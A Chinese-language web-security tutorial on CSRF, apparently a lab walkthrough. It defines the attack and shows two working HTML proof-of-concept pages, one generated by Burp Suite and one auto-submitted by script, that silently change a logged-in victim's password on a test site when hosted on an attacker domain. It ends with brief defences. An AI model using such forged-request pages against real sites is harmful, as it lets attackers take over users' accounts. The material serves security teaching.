我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、CSRF漏洞与测试
1、CSRF定义与情景
(1)CSRF定义: 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF , 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
(2)简单地说, 是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
(3)构造CSRF情景:只保证请求发自某个用户的浏览器的简单身份验证+欺骗浏览器访问认证过的网站执行操作
2、CSRF漏洞测试示例
(1)测试方法
第一步: 模拟受害者访问http://www.webtester.com/csrf/csrf01.php,验证后进行修改密码操作
第二步: 模拟受害者修改密码,在点击修改密码前,模拟攻击者抓包,即使用burpsuite拦截受害者修改密码的操作,从而生成csrf payload,然后drop原来的请求
右键空白,悬停在Engagement tools,再点击Generate CSRF Poc,生成如下所示内容: 复制以上的代码,保存到csrf-poc.html页面中:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://www.webtester.com/csrf/csrf01.php?c=update" method="POST">
<input type="hidden" name="password" value="asdfghjkl" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
最后,drop拦截的包
第三步: 把以上保存的csrf-poc.html保存到攻击者www.exploit.cool的网站目录/exp/csrf/csrf-poc.html下,然后模拟攻击者给受害者发送链接,受害者访问该链接,就会修改密码。
链接:http://www.exploit.cool/exp/csrf/csrf-poc.html
第四步: 模拟受害者点击退出,然后通过修改后的密码登录成功
(2)实验示例
第一步: 由于受害者登录过的网站csrf01.php,访问以下的攻击者WEB服务器上的csrf-post.html就会触payload 从而修改密码。
链接:http://www.exploit.cool/exp/csrf/csrf-post.html
<html>
<body>
<form name="csrf" action="http://www.webtester.com/csrf/csrf01.php?c=update" method="POST">
<input type=text name=password value="123456"></input>
<input type="submit" value="submit" />
</form>
<script>
document.csrf.submit();
</script>
</body>
</html>
第二步: 模拟受害者,点击退出,再次登录发现密码被成功修改为123456
(3)防御方法
<li class="task-list-item"> 加上token 进行认证
<li class="task-list-item"> 判断页面来源
<li class="task-list-item"> 页面加验证码判断